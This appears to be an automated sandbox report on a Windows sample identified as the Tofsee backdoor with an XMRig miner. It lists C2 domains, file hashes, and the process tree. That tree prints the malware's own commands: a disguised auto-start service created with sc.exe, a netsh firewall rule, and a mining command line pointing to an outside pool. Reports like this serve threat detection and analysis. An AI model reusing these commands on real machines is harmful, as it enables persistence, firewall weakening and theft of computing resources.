Analysis

  • max time kernel
    193s
  • max time network
    198s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/02/2023, 02:45

General

  • Target
    file.exe
  • Size 322KB
  • Sample230209-c8qq2agc2y
  • SHA256 798a82f6a6b2a269f87718b2a90e97f53a9d894ea70be0f0e5b12fbd38f1e76e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4324
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ltcomxia\
      2⤵
        PID:2968
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xdqlelyt.exe" C:\Windows\SysWOW64\ltcomxia\
        2⤵
          PID:4212
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ltcomxia binPath= "C:\Windows\SysWOW64\ltcomxia\xdqlelyt.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1260
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ltcomxia "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3492
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ltcomxia
          2⤵
          • Launches sc.exe
          PID:220
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1220
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4324 -s 1196
          2⤵
          • Program crash
          PID:1296
      • C:\Windows\SysWOW64\ltcomxia\xdqlelyt.exe
        C:\Windows\SysWOW64\ltcomxia\xdqlelyt.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4132
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1284
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3376
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4132 -s 536
          2⤵
          • Program crash
          PID:2428
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4324 -ip 4324
        1⤵
          PID:376
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4132 -ip 4132
          1⤵
            PID:4044

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                xdqlelyt.exe

                • Path C:\Users\Admin\AppData\Local\Temp\xdqlelyt.exe
                • Size 12.7MB
                • SHA256 786bb3d2be02077fe639838fd0f92cd3ce101911df10617a9e5754cc61088751
                • MD5 SHA1 SHA512 SSDEEP

                xdqlelyt.exe

                • Path C:\Windows\SysWOW64\ltcomxia\xdqlelyt.exe
                • Size 12.7MB
                • SHA256 786bb3d2be02077fe639838fd0f92cd3ce101911df10617a9e5754cc61088751
                • MD5 SHA1 SHA512 SSDEEP

                memory/1284-157-0x0000000001520000-0x0000000001526000-memory.dmp

                memory/1284-166-0x0000000007A80000-0x0000000007E8B000-memory.dmp

                memory/1284-169-0x00000000021E0000-0x00000000021E7000-memory.dmp

                memory/1284-163-0x0000000001540000-0x0000000001545000-memory.dmp

                memory/1284-160-0x0000000001530000-0x0000000001540000-memory.dmp

                memory/1284-154-0x00000000012D0000-0x00000000014DF000-memory.dmp

                memory/1284-153-0x0000000000BB0000-0x0000000000BC5000-memory.dmp

                memory/1284-152-0x0000000000BB0000-0x0000000000BC5000-memory.dmp

                memory/1284-146-0x0000000000BB0000-0x0000000000BC5000-memory.dmp

                memory/3376-178-0x00000000004A0000-0x0000000000591000-memory.dmp

                memory/3376-174-0x00000000004A0000-0x0000000000591000-memory.dmp

                memory/3376-173-0x00000000004A1000-0x0000000000572000-memory.dmp

                memory/4132-150-0x0000000000400000-0x000000000058F000-memory.dmp

                memory/4132-144-0x0000000000400000-0x000000000058F000-memory.dmp

                memory/4132-143-0x0000000000798000-0x00000000007AE000-memory.dmp

                memory/4132-149-0x0000000000798000-0x00000000007AE000-memory.dmp

                memory/4324-134-0x0000000000400000-0x000000000058F000-memory.dmp

                memory/4324-132-0x000000000079D000-0x00000000007B3000-memory.dmp

                memory/4324-133-0x00000000006F0000-0x0000000000703000-memory.dmp

                memory/4324-151-0x0000000000400000-0x000000000058F000-memory.dmp